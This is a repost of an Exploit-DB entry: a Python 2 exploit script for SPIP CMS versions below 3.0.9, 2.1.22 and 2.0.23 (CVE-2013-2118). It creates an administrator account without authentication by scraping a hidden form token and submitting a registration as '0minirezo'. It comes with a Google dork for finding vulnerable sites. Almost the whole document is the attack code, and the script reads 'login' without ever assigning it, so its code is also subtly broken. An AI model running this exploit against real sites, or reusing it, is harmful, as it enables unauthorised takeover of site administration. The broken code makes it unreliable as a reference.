SPIP CMS < 2.0.23/ 2.1.22/3.0.9 - Privilege Escalation

Exploit Database
120 阅读

作者： Gregory Draperi

日期： 2014-05-19
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/33425/

#!/usr/bin/env python

# Exploit Title: SPIP - CMS < 3.0.9 / 2.1.22 / 2.0.23 - Privilege escalation to administrator account from non authenticated user

# Date: 04/30/2014

# Flaw finder : Unknown

# Exploit Author: Gregory DRAPERI

# Email: gregory |dot| draperi |at| gmail |dot| com

# Google Dork : inurl="spip.php"

# Vendor Homepage: www.spip.net

# Software Link: http://files.spip.org/spip/archives/

# Version: SPIP < 3.0.9 / 2.1.22 / 2.0.23

# Tested on: Windows 7 - SPIP 2.2.21

# CVE : CVE-2013-2118

'''

---------------------------------------------------------------------------------------------------------

Software Description:

SPIP is a free software content management system

---------------------------------------------------------------------------------------------------------

Vulnerability Details:

This vulnerability allows remote attackers to create an administrator account on the CMS without being authenticated.

To exploit the flaw, a SMTP configuration has to be configured on SPIP because the password is sent by mail.

'''

import urllib, urllib2

import cookielib

import sys

import re

def send_request(urlOpener, url, post_data=None):

request = urllib2.Request(url)

url = urlOpener.open(request, post_data)

return url.read()

if len(sys.argv) < 4:

print "SPIP < 3.0.9 / 2.1.22 / 2.0.23 exploit by Gregory DRAPERI\n\tUsage: python script.py <SPIP base_url> <login> <mail>"

exit()

base_url = sys.argv[1]

mail = sys.argv[3]

cookiejar = cookielib.CookieJar()

urlOpener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookiejar))

formulaire = send_request(urlOpener, base_url+"/spip.php?page=identifiants&mode=0minirezo")

print "[+] First request sended..."

m = re.search("<input name='formulaire_action_args' type='hidden'\n[^>]*", formulaire)

m = re.search("(?<=value=')[\w\+/=]*",m.group(0));

formulaire_data = {'var_ajax' : 'form',

'page' : 'identifiants',

'mode' : '0minirezo',

'formulaire_action' : 'inscription',

'formulaire_action_args' : m.group(0),

'nom_inscription' : login,

'mail_inscription' : mail,

'nobot' : ''

}

formulaire_data = urllib.urlencode(formulaire_data)

send_request(urlOpener, base_url+"/spip.php?page=identifiants&mode=0minirezo", formulaire_data)

print "[+] Second request sended"

print "[+] You should receive an email with credentials soon :) "